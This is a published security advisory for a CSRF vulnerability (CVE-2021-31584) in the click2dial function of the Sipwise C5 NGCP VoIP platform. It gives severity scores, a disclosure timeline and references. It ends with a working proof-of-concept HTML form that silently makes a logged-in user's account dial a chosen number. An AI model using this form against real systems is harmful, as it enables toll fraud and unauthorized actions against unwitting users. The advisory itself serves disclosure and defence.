6.8 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
8.5 High
AI Score
Confidence
High
0.009 Low
EPSS
Percentile
82.7%
Title: Sipwise C5 NGCP CSC CSRF Click2Dial Exploit
Advisory ID: ZSL-2021-5649
Type: Local/Remote
Impact: Cross-Site Scripting
Risk: (4/5)
Release Date: 23.04.2021
Sipwise C5 (also known as NGCP - the Next Generation Communication Platform) is a SIP-based Open Source Class 5 VoIP soft-switch platform that allows you to provide rich telephony services. It offers a wide range of features (e.g. call forwarding, voicemail, conferencing etc.) that can be configured by end users in the self-care web interface. For operators, it offers a web-based administrative panel that allows them to configure subscribers, SIP peerings, billing profiles, and other entities. The administrative web panel also shows the real-time statistics for the whole system. For tight integration into existing infrastructures, Sipwise C5 provides a powerful REST API interface.
The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site.
Sipwise GmbH - <https://www.sipwise.com>
NGCP www_admin version 3.6.7
Apache/2.2.22 (Debian)
Apache/2.2.16 (Debian)
nginx
[13.04.2021] Vulnerability discovered.
[19.04.2021] Contact with the vendor.
[22.04.2021] No response from the vendor.
[23.04.2021] Public security advisory released.
[26.04.2021] Vendor responds with clarification of vulnerable versions and working on fixes.
[26.04.2021] The ‘call2dial’ was only available in www_csc, which has not been used for 7 years now.
Vulnerability discovered by Gjoko Krstic - <[email protected]>
[1] <https://vulners.com/cve/CVE-2021-31584>
[2] <https://nvd.nist.gov/vuln/detail/CVE-2021-31584>
[3] <https://www.exploit-db.com/exploits/49801>
[4] <https://packetstormsecurity.com/files/162318>
[5] <https://cxsecurity.com/issue/WLB-2021040135>
[6] <https://exchange.xforce.ibmcloud.com/vulnerabilities/200606>
[7] <https://www.incibe-cert.es/alerta-temprana/vulnerabilidades/cve-2021-31584>
[8] <https://www.tenable.com/cve/CVE-2021-31584>
[9] <https://cve.report/CVE-2021-31584>
[23.04.2021] - Initial release
[25.04.2021] - Added reference [5], [6], [7], [8] and [9]
[06.05.2021] - Changed affected version and added vendor status
Zero Science Lab
Web: <https://www.zeroscience.mk>
e-mail: [email protected]
<html><body><p>Sipwise C5 NGCP CSC CSRF Click2Dial Exploit
Vendor: Sipwise GmbH
Product web page: https://www.sipwise.com
Affected version: NGCP www_admin version 3.6.7
Summary: Sipwise C5 (also known as NGCP - the Next Generation Communication Platform)
is a SIP-based Open Source Class 5 VoIP soft-switch platform that allows you to provide
rich telephony services. It offers a wide range of features (e.g. call forwarding, voicemail,
conferencing etc.) that can be configured by end users in the self-care web interface.
For operators, it offers a web-based administrative panel that allows them to configure
subscribers, SIP peerings, billing profiles, and other entities. The administrative web
panel also shows the real-time statistics for the whole system. For tight integration
into existing infrastructures, Sipwise C5 provides a powerful REST API interface.
Desc: The application interface allows users to perform certain actions via HTTP requests
without performing any validity checks to verify the requests. This can be exploited to
perform certain actions with administrative privileges if a logged-in user visits a malicious
web site.
Tested on: Apache/2.2.22 (Debian)
Apache/2.2.16 (Debian)
nginx
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2021-5649
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5649.php
CVE ID: CVE-2021-31584
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31584
13.04.2021
--
</p>
<form action="https://10.0.1.7/call/click2dial" method="POST">
<input name="d" type="hidden" value="%2B3897031337"/>
<input type="submit" value="Dial and charge!"/>
</form>
</body></html>
6.8 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
8.5 High
AI Score
Confidence
High
0.009 Low
EPSS
Percentile
82.7%